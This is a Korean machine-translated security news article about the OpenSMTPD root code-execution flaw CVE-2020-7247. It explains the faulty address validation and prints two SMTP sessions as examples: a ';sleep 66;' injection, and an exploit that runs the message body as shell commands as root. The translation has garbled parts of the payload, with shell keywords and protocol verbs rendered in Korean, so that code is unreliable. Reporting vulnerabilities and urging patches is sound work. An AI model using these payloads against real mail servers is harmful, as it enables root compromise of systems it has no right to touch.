๋ฃจํŠธ ๊ถŒํ•œ์œผ๋กœ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ํ—ˆ์šฉํ•˜๋Š” OpenSMTPD์˜ ์ทจ์•ฝ์ 

OpenBSD ํ”„๋กœ์ ํŠธ์—์„œ ๊ฐœ๋ฐœํ•œ ๋ฉ”์ผ ์„œ๋ฒ„์—์„œ ์˜คํ”ˆSMTPD ํ™•์ธ๋จ ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์  (CVE-2020-7247), ๋ฃจํŠธ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ์„œ๋ฒ„์—์„œ ์›๊ฒฉ์œผ๋กœ ์…ธ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ์ทจ์•ฝ์ ์€ Qualys Security๊ฐ€ ์‹ค์‹œํ•œ ์žฌ๊ฐ์‚ฌ(์ด์ „ OpenSMTPD ๊ฐ์‚ฌ)์—์„œ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ์ตœ 2015๋…„์— ๋ฐœ๊ฒฌ๋˜์—ˆ์œผ๋ฉฐ, ์ƒˆ๋กœ์šด ์ทจ์•ฝ์ ์€ 2018๋…„ XNUMX์›”๋ถ€ํ„ฐ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ œ๊ฑฐ OpenSMTPD 6.6.2 ๋ฆด๋ฆฌ์Šค์—์„œ. ๋ชจ๋“  ์‚ฌ์šฉ์ž๋Š” ์—…๋ฐ์ดํŠธ๋ฅผ ์ฆ‰์‹œ ์„ค์น˜ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค(OpenBSD์˜ ๊ฒฝ์šฐ syspatch๋ฅผ ํ†ตํ•ด ํŒจ์น˜๋ฅผ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Œ).

๋‘ ๊ฐ€์ง€ ๊ณต๊ฒฉ ์˜ต์…˜์ด ์ œ์•ˆ๋ฉ๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ ์˜ต์…˜์€ ๊ธฐ๋ณธ OpenSMTPD ๊ตฌ์„ฑ(localhost์˜ ์š”์ฒญ๋งŒ ์ˆ˜๋ฝ)์—์„œ ์ž‘๋™ํ•˜๋ฉฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ฒ„(์˜ˆ: ํ˜ธ์ŠคํŒ… ์‹œ์Šคํ…œ)์˜ ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค(๋ฃจํ”„๋ฐฑ)์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ๋กœ์ปฌ์—์„œ ๋ฌธ์ œ๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. . ๋‘ ๋ฒˆ์งธ ์˜ต์…˜์€ OpenSMTPD๊ฐ€ ์™ธ๋ถ€ ๋„คํŠธ์›Œํฌ ์š”์ฒญ(ํƒ€์‚ฌ ๋ฉ”์ผ์„ ํ—ˆ์šฉํ•˜๋Š” ๋ฉ”์ผ ์„œ๋ฒ„)์„ ์ˆ˜์‹ ํ•˜๋„๋ก ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์—ฐ๊ตฌ์›๋“ค์€ OpenBSD 6.6์— ํฌํ•จ๋œ OpenSMTPD ๋ฒ„์ „๊ณผ ๋‹ค๋ฅธ ์šด์˜ ์ฒด์ œ์šฉ ์ด์‹ ๊ฐ€๋Šฅํ•œ ๋ฒ„์ „ ๋ชจ๋‘์—์„œ ์„ฑ๊ณต์ ์œผ๋กœ ์ž‘๋™ํ•˜๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์˜ ํ”„๋กœํ† ํƒ€์ž…์„ ์ค€๋น„ํ–ˆ์Šต๋‹ˆ๋‹ค(Debian Testing์—์„œ ์ˆ˜ํ–‰๋จ).

์ด ๋ฌธ์ œ๋Š” ๋ณด๋‚ธ ์‚ฌ๋žŒ/๋ฐ›๋Š” ์‚ฌ๋žŒ์„ ์ •์˜ํ•˜๊ณ  ์—ฐ๊ฒฐ ์ค‘์— ์ „๋‹ฌ๋˜๋Š” "MAIL FROM" ๋ฐ "RCPT TO" ํ•„๋“œ ๊ฐ’์˜ ์ •ํ™•์„ฑ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ํ˜ธ์ถœ๋˜๋Š” smtp_mailaddr() ํ•จ์ˆ˜์˜ ์˜ค๋ฅ˜๋กœ ์ธํ•ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๋ฉ”์ผ ์„œ๋ฒ„์™€ ํ•จ๊ป˜. ์ด๋ฉ”์ผ ์ฃผ์†Œ ์ค‘ โ€œ@โ€ ๊ธฐํ˜ธ ์•ž์— ์˜ค๋Š” ๋ถ€๋ถ„์„ ํ™•์ธํ•˜๋ ค๋ฉด smtp_mailaddr() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
valid_localpart()๋Š” RFC 5322์—์„œ ์š”๊ตฌํ•˜๋Š” ๋Œ€๋กœ "!#$%&'*/?^`{|}~+-=_" ๋ฌธ์ž๋ฅผ ํ—ˆ์šฉ(MAILADDR_ALLOWED)ํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ ๋ฌธ์ž์—ด์˜ ์ง์ ‘ ์ด์Šค์ผ€์ดํ”„๋Š” "!#$%&'*?`{|}~"(MAILADDR_ESCAPE) ๋ฌธ์ž๋งŒ ๋ฐ”๊พธ๋Š” mda_expand_token() ํ•จ์ˆ˜์—์„œ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ์ดํ›„ mda_expand_token()์—์„œ ์ค€๋น„๋œ ๋ผ์ธ์€ 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ „๋‹ฌ ์—์ด์ „ํŠธ(MDA)๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. . /bin/sh๋ฅผ ํ†ตํ•ด mbox์— ๋ฌธ์ž๋ฅผ ๋ฐฐ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" ํ–‰์ด ์‹คํ–‰๋˜๊ณ , ์—ฌ๊ธฐ์„œ "%" ๊ฐ’์€ {mbox.from}โ€์—๋Š” "MAIL FROM" ๋งค๊ฐœ๋ณ€์ˆ˜์—์„œ ์ด์Šค์ผ€์ดํ”„๋œ ๋ฐ์ดํ„ฐ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์˜ ๋ณธ์งˆ์€ smtp_mailaddr()์— ๋…ผ๋ฆฌ์  ์˜ค๋ฅ˜๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ๋นˆ ๋„๋ฉ”์ธ์ด ์ด๋ฉ”์ผ๋กœ ์ „์†ก๋˜๋ฉด "@" ์•ž์˜ ์ฃผ์†Œ ๋ถ€๋ถ„์— ์œ ํšจํ•˜์ง€ ์•Š์€ ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์–ด๋„ ํ•จ์ˆ˜๊ฐ€ ์„ฑ๊ณต์ ์ธ ํ™•์ธ ์ฝ”๋“œ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. . ๋˜ํ•œ ๋ฌธ์ž์—ด์„ ์ค€๋น„ํ•  ๋•Œ mda_expand_token() ํ•จ์ˆ˜๋Š” ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ์‰˜ ํŠน์ˆ˜ ๋ฌธ์ž๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜์ง€ ์•Š๊ณ  ์ด๋ฉ”์ผ ์ฃผ์†Œ์— ํ—ˆ์šฉ๋˜๋Š” ํŠน์ˆ˜ ๋ฌธ์ž๋งŒ ์ด์Šค์ผ€์ดํ”„ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด ์ด๋ฉ”์ผ์˜ ๋กœ์ปฌ ๋ถ€๋ถ„์— ";" ๊ธฐํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค. MAILADDR_ESCAPE ์„ธํŠธ์— ํฌํ•จ๋˜์ง€ ์•Š๊ณ  ์ด์Šค์ผ€์ดํ”„๋˜์ง€ ์•Š๋Š” ๊ณต๋ฐฑ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

$ NC 127.0.0.1 25

HELO ๊ต์ˆ˜.ํŒ”์ผ„
๋ฉ”์ผ ๋ณด๋‚ธ ์‚ฌ๋žŒ:<;sleep 66;>
RCPT ๋Œ€์ƒ:
๋ฐ์ดํ„ฐ
.
๋’€์–ด์š”

์ด ์„ธ์…˜์ด ๋๋‚˜๋ฉด OpenSMTPD๊ฐ€ mbox์— ์ „๋‹ฌ๋˜๋ฉด ์…ธ์„ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

/usr/libexec/mail.local -f ;sleep 66; ๋ฟŒ๋ฆฌ

๋™์‹œ์— ์ฃผ์†Œ์˜ ๋กœ์ปฌ ๋ถ€๋ถ„์ด 64์ž๋ฅผ ์ดˆ๊ณผํ•  ์ˆ˜ ์—†์œผ๋ฉฐ ํŠน์ˆ˜ ๋ฌธ์ž '$' ๋ฐ '|'๊ฐ€ ํฌํ•จ๋˜์–ด ๊ณต๊ฒฉ ๊ฐ€๋Šฅ์„ฑ์ด ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. ์ด์Šค์ผ€์ดํ”„ํ•  ๋•Œ๋Š” ":"์œผ๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค. ์ด ์ œํ•œ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” ์ž…๋ ฅ ์ŠคํŠธ๋ฆผ์„ ํ†ตํ•ด /usr/libexec/mail.local์„ ์‹คํ–‰ํ•œ ํ›„ ๋ฌธ์ž ๋ณธ๋ฌธ์ด ์ „์†ก๋œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์†Œ๋ฅผ ์กฐ์ž‘ํ•˜๋ฉด sh ๋ช…๋ น ํ•ด์„๊ธฐ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋ฌธ์ž ๋ณธ๋ฌธ์„ ์ผ๋ จ์˜ ์ง€์นจ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜๋งŒ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋น„์Šค SMTP ํ—ค๋”๋Š” ๋ฌธ์ž ์‹œ์ž‘ ๋ถ€๋ถ„์— ํ‘œ์‹œ๋˜๋ฏ€๋กœ ์ด๋ฅผ ๊ฑด๋„ˆ๋›ฐ๋ ค๋ฉด ๋ฃจํ”„์—์„œ ์ฝ๊ธฐ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ž‘๋™ํ•˜๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

$ NC 192.168.56.143 25

HELO ๊ต์ˆ˜.ํŒ”์ผ„
๋ฉ”์ผ ๋ณด๋‚ธ ์‚ฌ๋žŒ:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;์ฝ๊ธฐ r;์™„๋ฃŒ;sh;exit 0;>
RCPT ๋Œ€์ƒ:[์ด๋ฉ”์ผ ๋ณดํ˜ธ]>
๋ฐ์ดํ„ฐ
#0
#1
...
#d
WOPR์—์„œ๋Š” ๋‚˜์— ๋Œ€ํ•ด; ํ•˜๋‹ค
echo -n "($i) " && id || ๋ถ€์„œ์ง€๋‹ค
์™„๋ฃŒ > /root/x."`id -u`.""$$"
.
๋’€์–ด์š”

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€